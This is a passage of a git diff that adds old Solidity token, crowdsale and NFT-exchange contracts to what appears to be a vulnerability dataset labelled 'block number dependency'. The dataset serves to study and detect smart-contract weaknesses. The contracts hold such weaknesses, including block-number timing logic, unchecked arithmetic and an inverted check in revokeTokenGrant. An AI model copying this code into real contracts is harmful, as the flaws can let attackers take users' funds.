+ _; + } + + modifier onlyTokenAssignmentControl() { + require(msg.sender == tokenAssignmentControl); + _; + } + + modifier onlyWithdraw() { + require(msg.sender == withdrawControl); + _; + } + + modifier requireState(States _requiredState) { + require(state == _requiredState); + _; + } + + + + + + + function() payable + public + requireState(States.Ico) + { + require(whitelist[msg.sender] == true); + require(msg.value > 0); + + + require(msg.data.length < 4); + require(block.number < endBlock); + + uint256 soldToTuserWithBonus = calcBonus(msg.value); + + issueTokensToUser(msg.sender, soldToTuserWithBonus); + ethPossibleRefunds[msg.sender] = ethPossibleRefunds[msg.sender].add(msg.value); + } + + function issueTokensToUser(address beneficiary, uint256 amount) + internal + { + uint256 soldTokensAfterInvestment = soldTokens.add(amount); + require(soldTokensAfterInvestment <= maxTotalSupply.mul(percentForSale).div(100)); + + balances[beneficiary] = balances[beneficiary].add(amount); + balances[reserves] = balances[reserves].sub(amount); + soldTokens = soldTokensAfterInvestment; + Transfer(reserves, beneficiary, amount); + } + + function getCurrentBonusFactor() + public view + returns (uint256 factor) + { + + return Bonus.getBonusFactor(now - pauseOffset, bonusData); + } + + function getNextCutoffTime() + public view returns (uint timestamp) + { + return Bonus.getFollowingCutoffTime(now - pauseOffset, bonusData); + } + + function calcBonus(uint256 weiAmount) + constant + public + returns (uint256 resultingTokens) + { + uint256 basisTokens = weiAmount.mul(ETH_QCO); + + uint256 perMillBonus = getCurrentBonusFactor(); + + return basisTokens.mul(per_mill + perMillBonus).div(per_mill); + } + + uint256 constant per_mill = 1000; + + + function moveToState(States _newState) + internal + { + StateTransition(state, _newState); + state = _newState; + } + + + + function updateEthICOVariables(uint256 _new_ETH_QCO, uint256 _newEndBlock) + public + onlyStateControl + { + require(state == States.Initial || state == States.ValuationSet); + require(_new_ETH_QCO > 0); + require(block.number < _newEndBlock); + endBlock = _newEndBlock; + + ETH_QCO = _new_ETH_QCO; + moveToState(States.ValuationSet); + } + + function startICO() + public + onlyStateControl + requireState(States.ValuationSet) + { + require(block.number < endBlock); + moveToState(States.Ico); + } + + function addPresaleAmount(address beneficiary, uint256 amount) + public + onlyTokenAssignmentControl + { + require(state == States.ValuationSet || state == States.Ico); + issueTokensToUser(beneficiary, amount); + } + + + function endICO() + public + onlyStateControl + requireState(States.Ico) + { + burnAndFinish(); + moveToState(States.Operational); + } + + function anyoneEndICO() + public + requireState(States.Ico) + { + require(block.number > endBlock); + burnAndFinish(); + moveToState(States.Operational); + } + + function burnAndFinish() + internal + { + totalSupply = soldTokens.mul(100).div(percentForSale); + + uint256 teamAmount = totalSupply.mul(22).div(100); + balances[teamWallet] = teamAmount; + Transfer(reserves, teamWallet, teamAmount); + + uint256 reservesAmount = totalSupply.sub(soldTokens).sub(teamAmount); + + Transfer(reserves, 0x0, balances[reserves].sub(reservesAmount).sub(teamAmount)); + balances[reserves] = reservesAmount; + + mintingFinished = true; + MintFinished(); + } + + function addToWhitelist(address _whitelisted) + public + onlyWhitelist + + { + whitelist[_whitelisted] = true; + Whitelisted(_whitelisted); + } + + + + function pause() + public + onlyStateControl + requireState(States.Ico) + { + moveToState(States.Paused); + pauseLastStart = now; + } + + + function abort() + public + onlyStateControl + requireState(States.Paused) + { + moveToState(States.Aborted); + } + + + function resumeICO() + public + onlyStateControl + requireState(States.Paused) + { + moveToState(States.Ico); + + pauseOffset = pauseOffset + (now - pauseLastStart); + } + + + function requestRefund() + public + requireState(States.Aborted) + { + require(ethPossibleRefunds[msg.sender] > 0); + + uint256 payout = ethPossibleRefunds[msg.sender]; + + ethPossibleRefunds[msg.sender] = 0; + msg.sender.transfer(payout); + } + + + function requestPayout(uint _amount) + public + onlyWithdraw + requireState(States.Operational) + { + msg.sender.transfer(_amount); + } + + + function rescueToken(ERC20Basic _foreignToken, address _to) + public + onlyTokenAssignmentControl + { + _foreignToken.transfer(_to, _foreignToken.balanceOf(this)); + } + + + + function transfer(address _to, uint256 _value) + public + requireState(States.Operational) + returns (bool success) { + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) + public + requireState(States.Operational) + returns (bool success) { + return super.transferFrom(_from, _to, _value); + } + + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/58.sol b/smart_contract_dataset/block number dependency/58.sol new file mode 100644 index 0000000000000000000000000000000000000000..3c19f4c4a1a4f380806b403be2540c3b0d1e4889 --- /dev/null +++ b/smart_contract_dataset/block number dependency/58.sol @@ -0,0 +1,858 @@ +pragma solidity ^0.4.18; + + + +contract Controlled { + + + modifier onlyController { require(msg.sender == controller); _; } + + address public controller; + + function Controlled() public { controller = msg.sender;} + + + + function changeController(address _newController) public onlyController { + controller = _newController; + } +} +contract TokenController { + + + + function proxyPayment(address _owner) public payable returns(bool); + + + + + + + + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + + + + + + + + function onApprove(address _owner, address _spender, uint _amount) public + returns(bool); +} +library SafeMath { + function mul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint a, uint b) internal returns (uint) { + + uint c = a / b; + + return c; + } + + function sub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function add(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + + function assert(bool assertion) internal { + require (assertion); + } +} + +contract ERC20Basic { + function totalSupply() constant returns (uint); + function balanceOf(address who) constant returns (uint); + function transfer(address to, uint value) returns (bool); + event Transfer(address indexed from, address indexed to, uint value); +} + +contract ERC20 is ERC20Basic { + + mapping(address => uint) balances; + + function allowance(address owner, address spender) constant returns (uint); + function transferFrom(address from, address to, uint value) returns (bool); + function approve(address spender, uint value) returns (bool); + function approveAndCall(address spender, uint256 value, bytes extraData) returns (bool); + event Approval(address indexed owner, address indexed spender, uint value); + + function doTransfer(address _from, address _to, uint _amount) internal returns(bool); +} + +contract ApproveAndCallFallBack { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + + + +contract MiniMeToken is Controlled { + + string public name; + uint8 public decimals; + string public symbol; + string public version = 'MMT_0.2'; + + + + + + struct Checkpoint { + + + uint128 fromBlock; + + + uint128 value; + } + + + + MiniMeToken public parentToken; + + + + uint public parentSnapShotBlock; + + + uint public creationBlock; + + + + + mapping (address => Checkpoint[]) balances; + + + mapping (address => mapping (address => uint256)) allowed; + + + Checkpoint[] totalSupplyHistory; + + + bool public transfersEnabled; + + + MiniMeTokenFactory public tokenFactory; + + + + + + + + + + + + + + + + + + + function MiniMeToken( + address _tokenFactory, + address _parentToken, + uint _parentSnapShotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public { + tokenFactory = MiniMeTokenFactory(_tokenFactory); + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + parentToken = MiniMeToken(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + transfersEnabled = _transfersEnabled; + creationBlock = block.number; + } + + + + + + + + + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + doTransfer(msg.sender, _to, _amount); + return true; + } + + + + + + + + function transferFrom(address _from, address _to, uint256 _amount + ) public returns (bool success) { + + + + + + if (msg.sender != controller) { + require(transfersEnabled); + + + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + } + doTransfer(_from, _to, _amount); + return true; + } + + + + + + + + function doTransfer(address _from, address _to, uint _amount + ) internal { + + if (_amount == 0) { + Transfer(_from, _to, _amount); + return; + } + + require(parentSnapShotBlock < block.number); + + + require((_to != 0) && (_to != address(this))); + + + + var previousBalanceFrom = balanceOfAt(_from, block.number); + + require(previousBalanceFrom >= _amount); + + + if (isContract(controller)) { + require(TokenController(controller).onTransfer(_from, _to, _amount)); + } + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + var previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + Transfer(_from, _to, _amount); + + } + + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + + + + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + + + + require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); + + + if (isContract(controller)) { + require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); + } + + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + + + + + + function allowance(address _owner, address _spender + ) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData + ) public returns (bool success) { + require(approve(_spender, _amount)); + + ApproveAndCallFallBack(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + + function totalSupply() public constant returns (uint) { + return totalSupplyAt(block.number); + } + + + + + + + + + + + function balanceOfAt(address _owner, uint _blockNumber) public constant + returns (uint) { + + + + + + + if ((balances[_owner].length == 0) + || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + + + function totalSupplyAt(uint _blockNumber) public constant returns(uint) { + + + + + + + if ((totalSupplyHistory.length == 0) + || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + + + + + + + + + + + + + + function createCloneToken( + string _cloneTokenName, + uint8 _cloneDecimalUnits, + string _cloneTokenSymbol, + uint _snapshotBlock, + bool _transfersEnabled + ) public returns(address) { + if (_snapshotBlock == 0) _snapshotBlock = block.number; + MiniMeToken cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _cloneTokenName, + _cloneDecimalUnits, + _cloneTokenSymbol, + _transfersEnabled + ); + + cloneToken.changeController(msg.sender); + + + NewCloneToken(address(cloneToken), _snapshotBlock); + return address(cloneToken); + } + + + + + + + + + + function generateTokens(address _owner, uint _amount + ) public onlyController returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply + _amount >= curTotalSupply); + uint previousBalanceTo = balanceOf(_owner); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + Transfer(0, _owner, _amount); + return true; + } + + + + + + + function destroyTokens(address _owner, uint _amount + ) onlyController public returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply >= _amount); + uint previousBalanceFrom = balanceOf(_owner); + require(previousBalanceFrom >= _amount); + updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); + updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); + Transfer(_owner, 0, _amount); + return true; + } + + + + + + + + + function enableTransfers(bool _transfersEnabled) public onlyController { + transfersEnabled = _transfersEnabled; + } + + + + + + + + + + function getValueAt(Checkpoint[] storage checkpoints, uint _block + ) constant internal returns (uint) { + if (checkpoints.length == 0) return 0; + + + if (_block >= checkpoints[checkpoints.length-1].fromBlock) + return checkpoints[checkpoints.length-1].value; + if (_block < checkpoints[0].fromBlock) return 0; + + + uint min = 0; + uint max = checkpoints.length-1; + while (max > min) { + uint mid = (max + min + 1)/ 2; + if (checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return checkpoints[min].value; + } + + + + + + function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value + ) internal { + if ((checkpoints.length == 0) + || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + + function min(uint a, uint b) pure internal returns (uint) { + return a < b ? a : b; + } + + + + + function () public payable { + require(isContract(controller)); + require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); + } + + + + + + + + + + function claimTokens(address _token) public onlyController { + if (_token == 0x0) { + controller.transfer(this.balance); + return; + } + + MiniMeToken token = MiniMeToken(_token); + uint balance = token.balanceOf(this); + token.transfer(controller, balance); + ClaimedTokens(_token, controller, balance); + } + + + + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); + +} + + + + + + + + + +contract MiniMeTokenFactory { + + + + + + + + + + + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public returns (MiniMeToken) { + MiniMeToken newToken = new MiniMeToken( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _decimalUnits, + _tokenSymbol, + _transfersEnabled + ); + + newToken.changeController(msg.sender); + return newToken; + } +} +contract LimitedTransferToken is ERC20 { + + modifier canTransfer(address _sender, uint _value) { + require(_value < transferableTokens(_sender, uint64(now))); + _; + } + + + function transfer(address _to, uint _value) canTransfer(msg.sender, _value) returns (bool) { + return super.transfer(_to, _value); + } + + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) returns (bool) { + return super.transferFrom(_from, _to, _value); + } + + + function transferableTokens(address holder, uint64 time) constant public returns (uint256) { + return balanceOf(holder); + } +} + +contract VestedToken is LimitedTransferToken, Controlled { + using SafeMath for uint; + + uint256 MAX_GRANTS_PER_ADDRESS = 20; + + struct TokenGrant { + address granter; + uint256 value; + uint64 cliff; + uint64 vesting; + uint64 start; + bool revokable; + bool burnsOnRevoke; + } + + mapping (address => TokenGrant[]) public grants; + + event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId); + + + function grantVestedTokens( + address _to, + uint256 _value, + uint64 _start, + uint64 _cliff, + uint64 _vesting, + bool _revokable, + bool _burnsOnRevoke + ) onlyController public { + + + require(_cliff > _start && _vesting > _cliff); + + require(tokenGrantsCount(_to) < MAX_GRANTS_PER_ADDRESS); + + uint count = grants[_to].push( + TokenGrant( + _revokable ? msg.sender : 0, + _value, + _cliff, + _vesting, + _start, + _revokable, + _burnsOnRevoke + ) + ); + + transfer(_to, _value); + + NewTokenGrant(msg.sender, _to, _value, count - 1); + } + + + function revokeTokenGrant(address _holder, uint _grantId) public { + TokenGrant storage grant = grants[_holder][_grantId]; + + require(grant.revokable); + require(grant.granter == msg.sender); + require(_grantId >= grants[_holder].length); + + address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender; + + uint256 nonVested = nonVestedTokens(grant, uint64(now)); + + + delete grants[_holder][_grantId]; + grants[_holder][_grantId] = grants[_holder][grants[_holder].length - 1]; + grants[_holder].length -= 1; + + + + doTransfer(_holder, receiver, nonVested); + + Transfer(_holder, receiver, nonVested); + } + + + function revokeAllTokenGrants(address _holder) { + var grantsCount = tokenGrantsCount(_holder); + for (uint i = 0; i < grantsCount; i++) { + revokeTokenGrant(_holder, 0); + } + } + + + function transferableTokens(address holder, uint64 time) constant public returns (uint256) { + uint256 grantIndex = tokenGrantsCount(holder); + + if (grantIndex == 0) return balanceOf(holder); + + + uint256 nonVested = 0; + for (uint256 i = 0; i < grantIndex; i++) { + nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time)); + } + + + uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested); + + + + return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time)); + } + + + function tokenGrantsCount(address _holder) constant returns (uint index) { + return grants[_holder].length; + } + + + function calculateVestedTokens( + uint256 tokens, + uint256 time, + uint256 start, + uint256 cliff, + uint256 vesting) constant returns (uint256) + { + + if (time < cliff) return 0; + if (time >= vesting) return tokens; + + + + + + + uint256 vestedTokens = SafeMath.div( + SafeMath.mul( + tokens, + SafeMath.sub(time, start) + ), + SafeMath.sub(vesting, start) + ); + + return vestedTokens; + } + + + function tokenGrant(address _holder, uint _grantId) constant returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) { + TokenGrant storage grant = grants[_holder][_grantId]; + + granter = grant.granter; + value = grant.value; + start = grant.start; + cliff = grant.cliff; + vesting = grant.vesting; + revokable = grant.revokable; + burnsOnRevoke = grant.burnsOnRevoke; + + vested = vestedTokens(grant, uint64(now)); + } + + + function vestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { + return calculateVestedTokens( + grant.value, + uint256(time), + uint256(grant.start), + uint256(grant.cliff), + uint256(grant.vesting) + ); + } + + + function nonVestedTokens(TokenGrant grant, uint64 time) private constant returns (uint256) { + return grant.value.sub(vestedTokens(grant, time)); + } + + + function lastTokenIsTransferableDate(address holder) constant public returns (uint64 date) { + date = uint64(now); + uint256 grantIndex = grants[holder].length; + for (uint256 i = 0; i < grantIndex; i++) { + date = SafeMath.max64(grants[holder][i].vesting, date); + } + } +} + +contract AywakeToken is MiniMeToken { + function AywakeToken (address _controller, address _tokenFactory) + MiniMeToken( + _tokenFactory, + 0x0, + 0, + "AywakeToken", + 18, + "AWK", + true + ) + { + changeController(_controller); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/584.sol b/smart_contract_dataset/block number dependency/584.sol new file mode 100644 index 0000000000000000000000000000000000000000..ea8a4bab41d75523b5b2abc996c87ee9b962f68f --- /dev/null +++ b/smart_contract_dataset/block number dependency/584.sol @@ -0,0 +1,243 @@ +pragma solidity ^0.4.12; + +contract IMigrationContract { + function migrate(address addr, uint256 ulc) returns (bool success); +} + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract ULCToken is StandardToken, SafeMath { + + + string public constant name = "ULCToken"; + string public constant symbol = "ULC"; + uint256 public constant decimals = 8; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 3500; + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function ULCToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(1000000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _eth) isOwner external { + if (_eth == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/639.sol b/smart_contract_dataset/block number dependency/639.sol new file mode 100644 index 0000000000000000000000000000000000000000..0814d205dfc6f22ecd4114491fb86819b5d643c6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/639.sol @@ -0,0 +1,1134 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable { + + using SafeMath for uint256; + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price.div(100).mul(marketMakerFee)); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value.sub(totalToPay)); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + +contract BettingControllerInterface { + address public owner; +} + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) private _legitOwners; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitOwner(address newOwner) internal + { + _legitOwners[newOwner] = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + BettingControllerInterface bc = BettingControllerInterface(race.owner()); + + require(_legitOwners[bc.owner()]); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < 